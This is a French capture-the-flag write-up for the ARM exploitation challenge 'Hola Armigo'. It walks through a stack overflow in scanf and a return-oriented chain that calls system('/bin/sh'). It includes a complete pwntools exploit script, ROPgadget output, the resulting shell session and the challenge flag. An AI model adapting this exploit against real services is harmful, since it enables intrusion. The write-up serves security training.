Solution de erdnaxe pour Hola Armigo

pwn ARM

29 janvier 2025

Exécution arbitraire de debug

On analyse statiquement l’exécutable armigo dans Ghidra. On observe ainsi :

  • que la fonction main est très minimaliste et appelle juste scanf sur un buffer de 64 octets,
  • que la fonction debug (en 0x104d8) prend 1 argument et appelle system dessus,
  • que le binaire est compilé statiquement avec une libc,
  • que la chaîne "/bin/sh" est en 0x73844.

On souhaite réaliser un dépassement de stack lors du scanf afin d’appeller system("/bin/sh").

La fonction main finit par :

ldmia      sp!, {r11,lr}
bx         lr

Elle dépile r11, puis lr et branche à l’adresse pointée par lr. Donc si on envoie cyclic(64) + p32(0) + p32(0x104d8) (syntaxe pwntools), nous pouvons exécuter debug. Néanmoins cela n’est pas suffisant car il faut contrôler son argument.

Gadget pour contrôler l’argument de system

L’idée est de trouver un bout de code (dit “gadget”) qui va permettre d’assigner l’adresse de "/bin/sh" (0x73844) dans r0 (premier argument dans la convention d’appel), avant d’appeler system. C’est du Return-Oriented Programming (ROP).

Pour chercher les bouts de code, nous pouvons soit manuellement inspecter la fin de toutes les fonctions visibles dans le désassemblé, soit utiliser un outil adapté tel que ROPgadget. Nous cherchons un gadget qui permet de contrôler r0, puis qui dépile lr et saute à son adresse (pour enchaîner avec system).

$ ROPgadget --binary armigo | grep 'pop {r0'
0x00061ae8 : pop {r0, r1, r2, r3, ip, lr} ; ldr r1, [r0, #4] ; bx r1
0x00061acc : pop {r0, r1, r3, ip, lr} ; pop {r2} ; ldr r1, [r0, #4] ; bx r1
0x00027504 : pop {r0, r4, lr} ; bx lr
[...]

On choisit le gadget en 0x27504 qui dépile r0, r4 puis qui saute à l’adresse qui suit dans la stack.

L’exploit en Python est alors :

from pwn import *

context.binary = ELF('armigo')

io = remote("localhost", 4000)
io.recvline()
#                        r11      lr (gadget)    r0             r4       lr (debug)
io.sendline(cyclic(64) + p32(0) + p32(0x27504) + p32(0x73844) + p32(0) + p32(0x104d8))
io.interactive()

Et voilà, nous avons un shell et flag !

[*] '/redacted/armigo'
    Arch:       arm-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x10000)
    Stripped:   No
[+] Opening connection to localhost on port 4000: Done
[*] Switching to interactive mode
Hello aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa!
$ ls
armigo
flag
run.sh
$ cat flag
ECSC{83f0ffc67a36bb6573e8c466e22b672e678df3bf}
$